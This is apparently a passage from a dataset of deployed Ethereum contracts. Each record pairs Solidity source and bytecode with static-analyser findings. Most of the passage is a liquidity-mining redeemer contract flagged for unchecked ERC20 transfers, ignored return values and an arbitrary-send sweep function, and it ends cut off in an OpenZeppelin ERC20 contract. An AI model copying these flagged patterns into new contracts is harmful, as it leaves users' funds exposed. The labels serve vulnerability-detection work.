526040830152606082015260800190565b600060208252825180602084015261264781604085016020870161286d565b601f01601f19169190910160400192915050565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252600f908201526e1c195c9b5a5d0e88195e1c1a5c9959608a1b604082015260600190565b6020808252601490820152731c195c9b5a5d0e881d5b985d5d1a1bdc9a5e995960621b604082015260600190565b6020808252601190820152707065726d69743a207369676e617475726560781b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252601f908201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604082015260600190565b9182526001600160a01b0316602082015260400190565b9283526001600160a01b03919091166020830152604082015260600190565b978852602088019690965260408701949094526060860192909252608085015260a084015260c083015260e08201526101000190565b60008219821115612812576128126128ef565b500190565b60008261283257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612851576128516128ef565b500290565b600082821015612868576128686128ef565b500390565b60005b83811015612888578181015183820152602001612870565b838111156120a85750506000910152565b6002810460018216806128ad57607f821691505b602082108114156128ce57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156128e8576128e86128ef565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610eda57600080fdfea2646970667358221220719dcf7e076f1bd968ba2339502c039feea4bd3efc1282e22c2d81dcff955e1864736f6c63430008010033a26469706673582212205344e5639616735c0804dbe8376a44a8319bff60a35f8407f802194d37e1f53164736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
286
0x4f4cd2b3113e0a75a84b9ac54e6b5d5a12384563
//SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @title Liquidity Mining Redeemer * @dev This Contract will redeem the Liquidity Mining Positions of the DFOs DFOhub, EthArt and UniFi. * Addresses who held tokens in one of there contracts will receive back the result of their Positions, including the reward until now, plus some gifts by the DFOhub DFO. * Anyome can redeem all their tokens in a unique operation. * For Gas Consumption purposes only in the initialization phase, this Contract will have an initializer who syncs the contract data after the deployment. * In fact, the initializer has the only power to insert the positions to redeem and nothing more. * When all the positions will be filled, the completeInitialization method will be called and the redeem can be available. */ contract LiquidityMiningRedeemer { address private constant UNISWAP_V2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address private constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private WETH_ADDRESS = IUniswapV2Router(UNISWAP_V2_ROUTER).WETH(); address private _initializer; address private _doubleProxy; address[] private _tokens; mapping(address => bool) private _redeemed; mapping(address => mapping(address => uint256)) private _positions; event Redeemed(address indexed sender, address indexed positionOwner); /** * @dev Constructor * @param doubleProxy - The link with the DFO which this Contract depends on * @param tokens - The list of all ERC-20 tokens involved in the Liquidity Mining Contracts */ constructor(address doubleProxy, address[] memory tokens) { _initializer = msg.sender; _doubleProxy = doubleProxy; _tokens = tokens; } /** * @dev This method is callable by the initializer only and it helps to do a step-by-step initialization to avoid out-of-gas transaction due to large amount of information. * It loads all the addresses having opened positions in the Liquidity Mining Contracts and the amount they will receive to redeem. */ function fillData(address[] memory positionOwners, uint256[] memory token0Amounts, uint256[] memory token1Amounts, uint256[] memory token2Amounts, uint256[] memory token3Amounts, uint256[] memory token4Amounts, uint256[] memory token5Amounts) public { require(msg.sender == _initializer, "Unauthorized Action"); assert(positionOwners.length == token0Amounts.length && token0Amounts.length == token1Amounts.length && token1Amounts.length == token2Amounts.length && token2Amounts.length == token3Amounts.length && token3Amounts.length == token4Amounts.length && token4Amounts.length == token5Amounts.length); for(uint256 i = 0; i < positionOwners.length; i++) { if(_tokens.length > 0) { _positions[positionOwners[i]][_tokens[0]] = token0Amounts[i]; } if(_tokens.length > 1) { _positions[positionOwners[i]][_tokens[1]] = token1Amounts[i]; } if(_tokens.length > 2) { _positions[positionOwners[i]][_tokens[2]] = token2Amounts[i]; } if(_tokens.length > 3) { _positions[positionOwners[i]][_tokens[3]] = token3Amounts[i]; } if(_tokens.length > 4) { _positions[positionOwners[i]][_tokens[4]] = token4Amounts[i]; } if(_tokens.length > 5) { _positions[positionOwners[i]][_tokens[5]] = token5Amounts[i]; } } } /** * @dev After the end of the contract inizialiation, initializer will be set to address(0) and cannot be edited any more. */ function completeInitialization() public { require(msg.sender == _initializer, "Unauthorized Action"); _initializer = address(0); } /** * @return The address of the Contract initializer */ function initializer() public view returns (address) { return _initializer; } /** * @dev Method callable only by voting a Proposal in the linked DFO. * For emergency purposes only (e.g. in case of Smart Contract bug) * @param additionalTokens all the eventual additional tokens hel by the Contract. Can be empty */ function emergencyFlush(address[] memory additionalTokens) public { IMVDProxy proxy = IMVDProxy(IDoubleProxy(_doubleProxy).proxy()); require(IMVDFunctionalitiesManager(proxy.getMVDFunctionalitiesManagerAddress()).isAuthorizedFunctionality(msg.sender), "Unauthorized Action!"); address walletAddress = proxy.getMVDWalletAddress(); address tokenAddress = proxy.getToken(); IERC20 token = IERC20(tokenAddress); uint256 balanceOf = token.balanceOf(address(this)); if(balanceOf > 0) { token.transfer(walletAddress, balanceOf); } balanceOf = 0; for(uint256 i = 0; i < _tokens.length; i++) { token = IERC20(_tokens[i]); balanceOf = token.balanceOf(address(this)); if(balanceOf > 0) { token.transfer(walletAddress, balanceOf); } balanceOf = 0; } balanceOf = 0; for(uint256 i = 0; i < additionalTokens.length; i++) { token = IERC20(additionalTokens[i]); balanceOf = token.balanceOf(address(this)); if(balanceOf > 0) { token.transfer(walletAddress, balanceOf); } balanceOf = 0; } balanceOf = address(this).balance; if(balanceOf > 0) { payable(walletAddress).transfer(balanceOf); } } /** * @return the Double Proxy Address of the linked DFO */ function doubleProxy() public view returns(address) { return _doubleProxy; } /** * @return the address of all the tokens involved in the Liquidity Mining Contracts */ function tokens() public view returns(address[] memory) { return _tokens; } /** * @dev Method callable only by voting a Proposal in the linked DFO. * Sets the new Double Proxy address, in case it is needed. */ function setDoubleProxy(address newDoubleProxy) public { require(IMVDFunctionalitiesManager(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getMVDFunctionalitiesManagerAddress()).isAuthorizedFunctionality(msg.sender), "Unauthorized Action!"); _doubleProxy = newDoubleProxy; } /** * @param positionOwner the Address of the owner you want to know info * @return amounts The amount of tokens this address will receive (each position of the array corresponds to the one of the array returned by the votingTokens() call) */ function position(address positionOwner) public view returns (uint256[] memory amounts){ amounts = new uint256[](_tokens.length); for(uint256 i = 0; i < _tokens.length; i++) { amounts[i] = _positions[positionOwner][_tokens[i]]; } } /** * @param positionOwner the Address of the owner you want to know info * @return true if this address already redeemed its position. False otherwhise */ function redeemed(address positionOwner) public view returns(bool) { return _redeemed[positionOwner]; } receive() external payable { } /** * @dev The redeem function will give back the position amounts to the msg.sender. * It can be called just one time per address. * Redeem will be available after the finalization of the Smart Contract */ function redeem() public { require(_initializer == address(0), "Redeem still not initialized"); address positionOwner = msg.sender; require(!_redeemed[positionOwner], "This position owner already redeemed its position"); _redeemed[positionOwner] = true; for(uint256 i = 0; i < _tokens.length; i++) { uint256 amount = _positions[positionOwner][_tokens[i]]; if(amount == 0) { continue; } if(_tokens[i] == WETH_ADDRESS) { payable(positionOwner).transfer(amount); continue; } IERC20(_tokens[i]).transfer(positionOwner, amount); } emit Redeemed(msg.sender, positionOwner); } /** * @dev Converts the Uniswap V2 LP Tokens sent by the Liquidity Mining Contracts to the corresponding tokens to provide liquidity for the redeemers * @param token0 Uniswap V2 LP Token 0 * @param token1 Uniswap V2 LP Token 1 * @param amountMin0 Parameter useful to call the UniswapV2Router * @param amountMin1 Parameter useful to call the UniswapV2Router */ function convertUniswapV2TokenPool(address token0, address token1, uint256 amountMin0, uint256 amountMin1) public returns (uint256 amountA, uint256 amountB) { IERC20 pair = IERC20(IUniswapV2Factory(UNISWAP_V2_FACTORY).getPair(token0, token1)); uint256 liquidity = pair.balanceOf(address(this)); IUniswapV2Router router = IUniswapV2Router(UNISWAP_V2_ROUTER); pair.approve(UNISWAP_V2_ROUTER, liquidity); if(token0 == WETH_ADDRESS || token1 == WETH_ADDRESS) { return router.removeLiquidityETH(token0 == WETH_ADDRESS ? token1 : token0, liquidity, amountMin0, amountMin1, address(this), block.timestamp + 1000); } return router.removeLiquidity(token0, token1, liquidity, amountMin0, amountMin1, address(this), block.timestamp + 1000); } } interface IMVDProxy { function getToken() external view returns(address); function getStateHolderAddress() external view returns(address); function getMVDWalletAddress() external view returns(address); function getMVDFunctionalitiesManagerAddress() external view returns(address); function submit(string calldata codeName, bytes calldata data) external payable returns(bytes memory returnData); } interface IStateHolder { function setUint256(string calldata name, uint256 value) external returns(uint256); function getUint256(string calldata name) external view returns(uint256); function getBool(string calldata varName) external view returns (bool); function clear(string calldata varName) external returns(string memory oldDataType, bytes memory oldVal); } interface IMVDFunctionalitiesManager { function isAuthorizedFunctionality(address functionality) external view returns(bool); } interface IERC20 { function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router { function WETH() external pure returns (address); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); } interface IDoubleProxy { function proxy() external view returns(address); }
0x6080604052600436106100a05760003560e01c80639d63848a116100645780639d63848a146102195780639f4568ef1461027e578063b7648fb9146102c5578063be040fb0146102f8578063cbd99d031461030d578063e1d1495914610340576100a7565b80630ac85f46146100ac5780634136f6921461010e5780634eb9b592146101be5780635827b250146101ef5780639ce110d714610204576100a7565b366100a757005b600080fd5b3480156100b857600080fd5b506100f5600480360360808110156100cf57600080fd5b506001600160a01b038135811691602081013590911690604081013590606001356106fa565b6040805192835260208301919091528051918290030190f35b34801561011a57600080fd5b506101bc6004803603602081101561013157600080fd5b810190602081018135600160201b81111561014b57600080fd5b82018360208201111561015d57600080fd5b803590602001918460208302840111600160201b8311171561017e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610a62945050505050565b005b3480156101ca57600080fd5b506101d3611093565b604080516001600160a01b039092168252519081900360200190f35b3480156101fb57600080fd5b506101bc6110a2565b34801561021057600080fd5b506101d3611109565b34801561022557600080fd5b5061022e611118565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561026a578181015183820152602001610252565b505050509050019250505060405180910390f35b34801561028a57600080fd5b506102b1600480360360208110156102a157600080fd5b50356001600160a01b031661117a565b604080519115158252519081900360200190f35b3480156102d157600080fd5b5061022e600480360360208110156102e857600080fd5b50356001600160a01b0316611198565b34801561030457600080fd5b506101bc611263565b34801561031957600080fd5b506101bc6004803603602081101561033057600080fd5b50356001600160a01b03166114eb565b34801561034c57600080fd5b506101bc600480360360e081101561036357600080fd5b810190602081018135600160201b81111561037d57600080fd5b82018360208201111561038f57600080fd5b803590602001918460208302840111600160201b831117156103b057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ff57600080fd5b82018360208201111561041157600080fd5b803590602001918460208302840111600160201b8311171561043257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561048157600080fd5b82018360208201111561049357600080fd5b803590602001918460208302840111600160201b831117156104b457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561050357600080fd5b82018360208201111561051557600080fd5b803590602001918460208302840111600160201b8311171561053657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561058557600080fd5b82018360208201111561059757600080fd5b803590602001918460208302840111600160201b831117156105b857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561060757600080fd5b82018360208201111561061957600080fd5b803590602001918460208302840111600160201b8311171561063a57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561068957600080fd5b82018360208201111561069b57600080fd5b803590602001918460208302840111600160201b831117156106bc57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506116b1945050505050565b6000806000735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663e6a4390588886040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b031681526020019250505060206040518083038186803b15801561077157600080fd5b505afa158015610785573d6000803e3d6000fd5b505050506040513d602081101561079b57600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038416916370a08231916024808301926020929190829003018186803b1580156107e957600080fd5b505afa1580156107fd573d6000803e3d6000fd5b505050506040513d602081101561081357600080fd5b50516040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d6004820181905260248201849052915192935090916001600160a01b0385169163095ea7b39160448083019260209291908290030181600087803b15801561087f57600080fd5b505af1158015610893573d6000803e3d6000fd5b505050506040513d60208110156108a957600080fd5b50506000546001600160a01b038a8116911614806108d457506000546001600160a01b038981169116145b156109a9576000546001600160a01b03808316916302751cec918c81169116146108fe578a610900565b895b604080516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201869052604482018b9052606482018a90523060848301526103e8420160a4830152805160c4808401938290030181600087803b15801561096857600080fd5b505af115801561097c573d6000803e3d6000fd5b505050506040513d604081101561099257600080fd5b5080516020909101519095509350610a5992505050565b60408051635d5155ef60e11b81526001600160a01b038b811660048301528a8116602483015260448201859052606482018a9052608482018990523060a48301526103e8420160c483015282519084169263baa2abde9260e480820193918290030181600087803b158015610a1d57600080fd5b505af1158015610a31573d6000803e3d6000fd5b505050506040513d6040811015610a4757600080fd5b50805160209091015190955093505050505b94509492505050565b6002546040805163ec55688960e01b815290516000926001600160a01b03169163ec556889916004808301926020929190829003018186803b158015610aa757600080fd5b505afa158015610abb573d6000803e3d6000fd5b505050506040513d6020811015610ad157600080fd5b505160408051633380ac3560e11b815290519192506001600160a01b03831691636701586a91600480820192602092909190829003018186803b158015610b1757600080fd5b505afa158015610b2b573d6000803e3d6000fd5b505050506040513d6020811015610b4157600080fd5b5051604080516318c8e99960e11b815233600482015290516001600160a01b0390921691633191d33291602480820192602092909190829003018186803b158015610b8b57600080fd5b505afa158015610b9f573d6000803e3d6000fd5b505050506040513d6020811015610bb557600080fd5b5051610bff576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a656420416374696f6e2160601b604482015290519081900360640190fd5b6000816001600160a01b03166331c6903d6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3a57600080fd5b505afa158015610c4e573d6000803e3d6000fd5b505050506040513d6020811015610c6457600080fd5b5051604080516321df0da760e01b815290519192506000916001600160a01b038516916321df0da7916004808301926020929190829003018186803b158015610cac57600080fd5b505afa158015610cc0573d6000803e3d6000fd5b505050506040513d6020811015610cd657600080fd5b5051604080516370a0823160e01b8152306004820152905191925082916000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b158015610d2757600080fd5b505afa158015610d3b573d6000803e3d6000fd5b505050506040513d6020811015610d5157600080fd5b505190508015610ddf57816001600160a01b031663a9059cbb85836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610db257600080fd5b505af1158015610dc6573d6000803e3d6000fd5b505050506040513d6020811015610ddc57600080fd5b50505b506000805b600354811015610f115760038181548110610dfb57fe5b60009182526020918290200154604080516370a0823160e01b815230600482015290516001600160a01b03909216955085926370a0823192602480840193829003018186803b158015610e4d57600080fd5b505afa158015610e61573d6000803e3d6000fd5b505050506040513d6020811015610e7757600080fd5b505191508115610f0557826001600160a01b031663a9059cbb86846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610ed857600080fd5b505af1158015610eec573d6000803e3d6000fd5b505050506040513d6020811015610f0257600080fd5b50505b60009150600101610de4565b506000905060005b865181101561104957868181518110610f2e57fe5b60200260200101519250826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610f8557600080fd5b505afa158015610f99573d6000803e3d6000fd5b505050506040513d6020811015610faf57600080fd5b50519150811561103d57826001600160a01b031663a9059cbb86846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561101057600080fd5b505af1158015611024573d6000803e3d6000fd5b505050506040513d602081101561103a57600080fd5b50505b60009150600101610f19565b50479050801561108b576040516001600160a01b0385169082156108fc029083906000818181858888f19350505050158015611089573d6000803e3d6000fd5b505b505050505050565b6002546001600160a01b031690565b6001546001600160a01b031633146110f7576040805162461bcd60e51b81526020600482015260136024820152722ab730baba3437b934bd32b21020b1ba34b7b760691b604482015290519081900360640190fd5b600180546001600160a01b0319169055565b6001546001600160a01b031690565b6060600380548060200260200160405190810160405280929190818152602001828054801561117057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611152575b5050505050905090565b6001600160a01b031660009081526004602052604090205460ff1690565b60035460609067ffffffffffffffff811180156111b457600080fd5b506040519080825280602002602001820160405280156111de578160200160208202803683370190505b50905060005b60035481101561125d576001600160a01b0383166000908152600560205260408120600380549192918490811061121757fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054825183908390811061124a57fe5b60209081029190910101526001016111e4565b50919050565b6001546001600160a01b0316156112c1576040805162461bcd60e51b815260206004820152601c60248201527f52656465656d207374696c6c206e6f7420696e697469616c697a656400000000604482015290519081900360640190fd5b3360008181526004602052604090205460ff16156113105760405162461bcd60e51b8152600401808060200182810382526031815260200180611aba6031913960400191505060405180910390fd5b6001600160a01b0381166000908152600460205260408120805460ff191660011790555b6003548110156114b1576001600160a01b0382166000908152600560205260408120600380548391908590811061136757fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205490508061139957506114a9565b600054600380546001600160a01b0390921691849081106113b657fe5b6000918252602090912001546001600160a01b0316141561140e576040516001600160a01b0384169082156108fc029083906000818181858888f19350505050158015611407573d6000803e3d6000fd5b50506114a9565b6003828154811061141b57fe5b60009182526020808320909101546040805163a9059cbb60e01b81526001600160a01b038881166004830152602482018790529151919092169363a9059cbb93604480850194919392918390030190829087803b15801561147b57600080fd5b505af115801561148f573d6000803e3d6000fd5b505050506040513d60208110156114a557600080fd5b5050505b600101611334565b506040516001600160a01b0382169033907fdd007c5578b2033435900744996323dead0abdd55f67c43c1a07694d14709c8190600090a350565b600260009054906101000a90046001600160a01b03166001600160a01b031663ec5568896040518163ffffffff1660e01b815260040160206040518083038186803b15801561153957600080fd5b505afa15801561154d573d6000803e3d6000fd5b505050506040513d602081101561156357600080fd5b505160408051633380ac3560e11b815290516001600160a01b0390921691636701586a91600480820192602092909190829003018186803b1580156115a757600080fd5b505afa1580156115bb573d6000803e3d6000fd5b505050506040513d60208110156115d157600080fd5b5051604080516318c8e99960e11b815233600482015290516001600160a01b0390921691633191d33291602480820192602092909190829003018186803b15801561161b57600080fd5b505afa15801561162f573d6000803e3d6000fd5b505050506040513d602081101561164557600080fd5b505161168f576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a656420416374696f6e2160601b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03163314611706576040805162461bcd60e51b81526020600482015260136024820152722ab730baba3437b934bd32b21020b1ba34b7b760691b604482015290519081900360640190fd5b85518751148015611718575084518651145b8015611725575083518551145b8015611732575082518451145b801561173f575081518351145b801561174c575080518251145b61175257fe5b60005b8751811015611aaf57600354156117e85786818151811061177257fe5b6020026020010151600560008a848151811061178a57fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600060036000815481106117c257fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020555b60035460011015611875578581815181106117ff57fe5b6020026020010151600560008a848151811061181757fe5b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000600360018154811061184f57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020555b600354600210156119025784818151811061188c57fe5b6020026020010151600560008a84815181106118a457fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600060036002815481106118dc57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020555b60038054111561198d5783818151811061191857fe5b6020026020010151600560008a848151811061193057fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006003808154811061196757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020555b60035460041015611a1a578281815181106119a457fe5b6020026020010151600560008a84815181106119bc57fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600060036004815481106119f457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020555b60035460051015611aa757818181518110611a3157fe5b6020026020010151600560008a8481518110611a4957fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006003600581548110611a8157fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020555b600101611755565b505050505050505056fe5468697320706f736974696f6e206f776e657220616c72656164792072656465656d65642069747320706f736974696f6ea264697066735822122035b8bf7ff3a7f483e2b056c59d293f377dc9b569866b91473388575dc3248fcb64736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
287
0xC8a0D450aC26F71e9Ec1b37a6D704ea43A03b780
// File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of 